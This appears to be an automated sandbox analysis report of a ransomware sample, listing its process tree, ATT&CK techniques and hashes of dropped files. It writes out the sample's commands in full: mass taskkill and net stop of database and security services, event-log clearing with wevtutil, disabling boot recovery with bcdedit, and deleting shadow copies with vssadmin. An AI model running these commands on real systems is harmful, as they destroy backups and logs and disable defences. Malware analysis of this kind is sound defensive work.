C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlservr.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdhost.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdlauncher.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM reportingservicesservice.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM softmgrlite.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlbrowser.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""3⤵
-
C:\Windows\SysWOW64\net.exenet stop UIODetect4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UIODetect5⤵
-
C:\Windows\SysWOW64\net.exenet stop VMwareHostd4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMwareHostd5⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer84⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer85⤵
-
C:\Windows\SysWOW64\net.exenet stop VMUSBArbService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMUSBArbService5⤵
-
C:\Windows\SysWOW64\net.exenet stop VMAuthdService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMAuthdService5⤵
-
C:\Windows\SysWOW64\net.exenet stop wanxiao-monitor4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor5⤵
-
C:\Windows\SysWOW64\net.exenet stop WebAttendServer4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WebAttendServer5⤵
-
C:\Windows\SysWOW64\net.exenet stop mysqltransport4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysqltransport5⤵
-
C:\Windows\SysWOW64\net.exenet stop VMnetDHCP4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMnetDHCP5⤵
-
C:\Windows\SysWOW64\net.exenet stop "VMware NAT Service"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Tomcat84⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tomcat85⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer4⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer5⤵
-
C:\Windows\SysWOW64\net.exenet stop QPCore4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QPCore5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASLicenceServer4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASLicenceServer5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASWebServer4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASWebServer5⤵
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdateService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdateService5⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Detect Service"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"5⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Update Service"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"5⤵
-
C:\Windows\SysWOW64\net.exenet stop "AliyunService"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AliyunService"5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASXMLService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASXMLService5⤵
-
C:\Windows\SysWOW64\net.exenet stop AGSService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AGSService5⤵
-
C:\Windows\SysWOW64\net.exenet stop RapService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapService5⤵
-
C:\Windows\SysWOW64\net.exenet stop DDNSService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDNSService5⤵
-
C:\Windows\SysWOW64\net.exenet stop iNethinkSQLBackupSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASVirtualDiskService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASMsgSrv4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASMsgSrv5⤵
-
C:\Windows\SysWOW64\net.exenet stop "OracleOraDb10g_homeliSQL*Plus"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WEVTUTIL EL3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL EL4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "AirSpaceChannel"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Application"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowFilterGraph"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowPluginControl"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Els_Hyphenation/Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "EndpointMapper"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "FirstUXPerf-Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "ForwardedEvents"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "General Logging"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "HardwareEvents"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "IHM_DebugChannel"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS-GPIO/Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS-I2C/Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-GPIO2/Debug"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-GPIO2/Performance"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-I2C/Debug"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Intel-iaLPSS2-I2C/Performance"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Internet Explorer"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Key Management Service"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MF_MediaFoundationDeviceProxy"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MedaFoundationVideoProc"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MedaFoundationVideoProcD3D"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationAsyncWrapper"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "MediaFoundationContentProtection"3⤵
- Clears Windows event logs
-
C:\Users\Admin\Downloads\a-Xgjsx.exeC:\Users\Admin\Downloads\a-Xgjsx.exe2⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- System policy modification
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures3⤵
-
C:\Windows\System32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\FILE RECOVERY.txt1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Defense Evasion
Indicator Removal on Host
1File Deletion
2Impair Defenses
1File Permissions Modification
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Documents and Settings\All Users\Microsoft\Event Viewer\Windows Logs\Channel_0.xmlFilesize
2KB
MD5418ff87d3487be5c118899c6bc6c0edc
SHA1521caa39939b91882f8aa252026d563c9a2f9e9b
SHA256abd6c936f0f1a9d530d4e95f48f213355e2468f00145dbb7c079231175539f7a
SHA51231957dc40060e02366759944210e2c1f98a4a7fad705b6bb4fab5dece2f3eab54d85d8cb6853568ebff7ff5a878e413ef0966eac257ec9769e09c93c8c62a9e6
-
C:\Program Files\7-Zip\Lang\FILE RECOVERY.txtFilesize
1KB
MD5cae7ca2c6bf93c5fdbbeba4a4a357546
SHA125ba3e2a06aa39d5258982438626588e03c2e9b6
SHA256fb16666ade9867998b67bf028bb354691d3cd1e9761520e4077225421ca90f75
SHA512546e258c93f30215499fb6bce4cc44c7605462d3d7326418db5e9dfe24dcd939cf8e95d195707129419160bf1e148171a8fc4278f638b5f5a3d1683b11b2a5cc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
471B
MD5ec1a8bd1feddd633ab052e24541f94b5
SHA1c7244380a737ba75df1093e7e5e8f7bc7d2ce59b
SHA256422bcf49599facbf36bab286344c1b4e0e007665342b55d3c4eaec05e3cc2653
SHA51286f9db12f706ace002fdd9936ec76e67f5d8660953fccf00d13072e49ac99047a1b7c93a53ea8fb9862ef74128e2fe988ef3b0511a510e942f35351ac313bc57
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
404B
MD536c2883a1042ca1be3a7b65c6203009e
SHA1b62c202c93b6f39a02637e4f77a5e805207e7ac1
SHA25699899359989eef74c522c8612e2eff24efe41f19571ebf48f2545d67da3d61b4
SHA512f089b314d4c23719e6d750876fc932c284e6c554e3f25b2f9e0bb1645039478f7117f4f49337c70b38faba740cb4ca5ff326abc87f44d7ebd266a130faa9862e
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000012Filesize
162KB
MD54043af37a3392a9db521ff9ab62d9608
SHA183828688e7a2259ed2f77345851a16122383b422
SHA256ee076822f35390ee382cda71759a2eec8f4db2bc18e4e3acd586173c29dab321
SHA51297a9d37ec02796cbca922559f384e1632c249d9955022578c14e046f2bfd9f84db113cf55899cfcf63fd318fbee050f483d04ae3156220ff2f0d364f989e680a
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-indexFilesize
2KB
MD54c289691bd1db2b0a8f367f4977ed1ed
SHA1f85b1619be6647d6da87709a6d56a24206deea9b
SHA25671a790f0f4045a34db4b558a8817e18fe902aebb5f5e0e68fd3e3524ae2ea2f7
SHA5120c3c7071ab5a88272a8968320fc2f1284467b30d3f9fec626926fc38107feb2a9f4faddaaaeba6b8dab232914d078a03f4f625244c05653f8e90e97ff7e7f1cd
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-indexFilesize
1008B
MD529e42b1f7fd5702f2268d851dfaf922f
SHA10cca0b42f3e0afa50c0b892752c7587daf0f93e5
SHA2564e11ddbb4a54645212e45b87263ce533aa79313558413c5bc1f3bb2f9bd0864d
SHA512ba0fb1ceed8827c0fc4e7e23cf2b4b021f851067e02d6b573716d23c53e08623a706831d4b3e5a1fff150a3d82ae078bc1631ae7755cba1ea95a59198b6a67b8
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1Filesize
264KB
MD5a29b6fa6042fda0acb6de04e5e56a620
SHA1dd6bf1188df20d47537d65353c5905564bec5cd6
SHA256ef881d68b3deb63155ad982f876ee36e434f6a30cf4419f4c2a8b87e78786c45
SHA51269866fd1bca7aac374d221128edd2d75783ddd56869d5a3c1376e23844a81ee79987b38cdd49279270300b86caa1ea3184952edfaafc9ca003529d28e964523e
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent StateFilesize
2KB
MD5d6be7c659113174c76bf1dc440a1d80d
SHA18c98ee63c712f0e2a297bc2fda9994f5b232e229
SHA256a8d6531fd78d865014346e207874d6fce3986fb2457cc22ccb232f07272ba9da
SHA512a6229ec062f139f414562fd34e08fded18a232031f1fac31b038d4ef474cdc6302fefe282d61fbab973ee37398ea49a2a95c1658095e550bc3550eed06d60a7f
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent StateFilesize
3KB
MD5937d17217882866bc240c51c8605332c
SHA1eb5455976c9ee08bf92d26e56cce8b4487b0408d
SHA2569d20314100c22d8ed51d0aa5b87dd1c1973d47f5edb209a3bb50af0d15e8cf82
SHA512bf44a64959470fadff706deb29471cfdef7509768079fcfe5e06ee6ffd1fed35fec966d8e56ba1d398f75a07db975a742cf49fb6d5486faf6ee8662c254bac8c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
1KB
MD5e838f76bf3b90ff33fe989c127e63f3c
SHA1c5048dad38d6609822f4677f29dc56f611054077
SHA256aa529505d05aa7701bb0e6cc8faf52fd64478f324d474f22daa30977b6471705
SHA51241d3aaf50b2368fe706df558e65cc92ce4058a7924ec00343b31f047629a07f4900d1f047a9a45ccf01f4f6dc37f9b7870b2312a91d9722cc710ce6e51430f80
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
538B
MD564f2d5104be794f7411feda609c7994c
SHA1a079a96b363566c5334174fd57666540779a9d84
SHA256653fd8ed59cc2e4b8d1011589ba475e16c113136759eff36d15fa4eace7a6894
SHA512909d37cd370cda2df321e7c6e48590db1c04b635502c7353f526d95663ab7ebc7c7325c4b227ab9e54dbb2b57ef87d2dac47fa4a7f33246d60cc02b04996499c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
1KB
MD5d9a41f756c6b8021231b2d6b49b4f53f
SHA1d755eb8caba0f388de95e7d5d08a44767894c0e7
SHA256622ec755b383d4853abfb845e714356f9c6f7ccab8bd3eed09b659c0bd973aba
SHA512bd0a85ea619af31b2d65ddb51595f612c7e536ad6e28c8c7a8d11f0a20151e782ac5b4a62d937e7c4a98142295544fb838b84b721fbf1cfb678b9402b7218362
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
371B
MD5b019c7d03747826bf3fc383a9ad0e939
SHA1cee14bb9b403fd841fc1f591710f33e3d7713c49
SHA2566e879d1005f4683f1c69834e1d877692cac2efbce8252b4e4eb42d3fb269ceec
SHA5126c4a30a715614e726f6caba20ecd5160c32d745307d9a52c4936591a27570c385f30e5389eb001d6b3f63bda078f78d5ade0c18765686f7b96b96c017eca863a
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
6KB
MD59fd1e4ddb3a46e38384f742d11f0c561
SHA1ad655c41ff945a67c00b5891d7cbaba8b814ba26
SHA256605a8780b534c83a369ddeb61806048bfba0ea2eba91d333fc3f8ec914acf628
SHA512dccd7e203b9e8956349c6efc1f5d071e72b86484f13ef559ff1ad6b3a66c74297146dacb6b1e6fbabc9bb47db9c966495612c66e3d05010fead98f87dd06a7e5
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
6KB
MD5057d8034e18997435a10e308f46fed6f
SHA12f7625d2a94ed92dca1c888d1e7912fd319de365
SHA256122581b5371c7af1297cc08bc86c339e23b99e126ded3d3240636a50401773b0
SHA512c88a073601f8d1d41c1b57161d8e05f6bd56ee0cc6c8c0ddd46551d6eb9a00c328bc2d9ccf0e9cc3d889b3832d098162a8daa98082230d1cc057de4c2df9161e
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
7KB
MD5d7afaecf614b71bdeacc0e86f5af6a28
SHA144d0934d0c94494542726d5117702c0e1cfb40af
SHA256f8c72cb4259b3d8652ff36b53121021075a496fed6decd5bb9b237eefb92a465
SHA5122212930dfbe01a094d9b1520706dc53b01c3778d0129b99aa2e3827cc26099f982ad25c8825f471f70af4a4717cd4c8bc0c7deee3ff35425b1ad35676374d653
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-indexFilesize
72B
MD57363744ca51afc60e3353fb32d866142
SHA1e91f0753b7826c89ee12c424a73bb4ddd9f00f61
SHA256bc19c70c7636e1a33243d6e1fd989337f9f9823e7e8237c926e5254cec3192d8
SHA512a5ed40f395b21037f60cf9c4d0104979fd783cef80a4effaec352e6ebb33fd5c7e736128d0ff3a59e996d8db3d307f69b9ba934b410f03bd6c9ecdaa59b1e23a
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe57a6cf.TMPFilesize
48B
MD57fe63683e40cb412e8ccae5740e318b2
SHA1ea9b8bea0689f865ecd7255a7c17d4cf13e8886c
SHA2564426f74e27cdb19526efea797c39435d9f73dd8342843416b729d1c00036e160
SHA512a6dd6340d40c3b4f75b4d6d7f3ff1242ec6a534d5b85fcb4f2499db3ae739f440d4b801f671a742126fbd22e0d3e799a831319c3bf6ae5b70e39c31d985c3f38
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\b198b24b-f396-4272-acf7-072f276d8d9d.tmpFilesize
6KB
MD5e3fd554aa25189c986473276e7d728a2
SHA1d09643e3c53161e25df7ba49eba33f9b0263f00b
SHA256a26f6bb034baa4855e47c8db6f9e145d6aefaf753b38328ea147a5f0c8a2b227
SHA512d3501585eda6de663a3fc47f5d2ef7a5958ae0a5eee511fa2803a85fe4d3f2442b5e77af4bdb092d267ff121efacc4212677ba02de547904e24b9cfd535784df
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\f6a9ca41-3849-48c9-b749-a08eeb105565.tmpFilesize
7KB
MD5f6fc637a956629bf6f4f946f6627405f
SHA113a9821eb15919e726a3fb49c2fd71ed033a1d38
SHA256a81a80fc3b8cfb77b62b6cfadf98b2661bdf52ec6ea08765437974b198ecd5e4
SHA5121cf4d4fdb3d260a5d9a1f7a59b465eb7462d54d6a65f62cf5a2b4f43f778977bdd71791edd7cac5d73e007c2e73e167a2142ea52c29ec535e8e18f59afd90af8
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\f6e92396-c549-4975-aaa4-222ac854d5e8.tmpFilesize
5KB
MD54302b549716bc760ab52a63d2993091b
SHA1bc444b2a40b93baeb88d1d96f4752ec588fc75bc
SHA2568a2a2d29233c41f6a7fdd9270645cb75c1c922dd39950b762fae8dcccad2b83c
SHA5124e61081649ccab44dbab67e5173d45ac9ee96ff41929965c92650114105065fff66154d95ac1f3d79c186d2c57a07431492ee6908955a66735525be460682cbb
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
144KB
MD5ec9e9db3f1bc8837cc3c1741853e47ee
SHA1cb07d1de2e0195973c55b5713de81cf002666a8e
SHA256f63394ad32ce94b021a3967e682085c77e0dccc2926e12ecb8b153e923ef0c4a
SHA512674a476d1c9d040c3009e1fbd8960ffd6ce5b8e1e62f72bcd9b1098598eef41520471e1fae713be641e00d4d1e49edbfe3280c89ac35f194d0c382b86cc12a60
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
144KB
MD5abf9ccc7414193c235d253b7b2015ecf
SHA10f7751f63a9ee16a392551a8d4dd219f1c74c93e
SHA25608b9d9669ad7ece750aad5e65ebf4fb51408ad1cd376747511ed4389f4b5d31e
SHA5127477f04145aeff23cfc0de3193b8eeda2f77ffa8700ae28417fb4cfd9cb7445a52ad3fcb226ec417a4d07aaed2d75c96b872477d175ec040f5f1fd6afddaf856
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.jsonFilesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.dbFilesize
14KB
MD58fd07c6cf1bf9d8d5a189ddc5a1f00d6
SHA1556f37442621da9e176c2c0ecb5b0213c1f18c0a
SHA2567c71fa8a68269bd6db44fe3ba04e98fee0fb84cdca2ba49a6828f769cd5a5b12
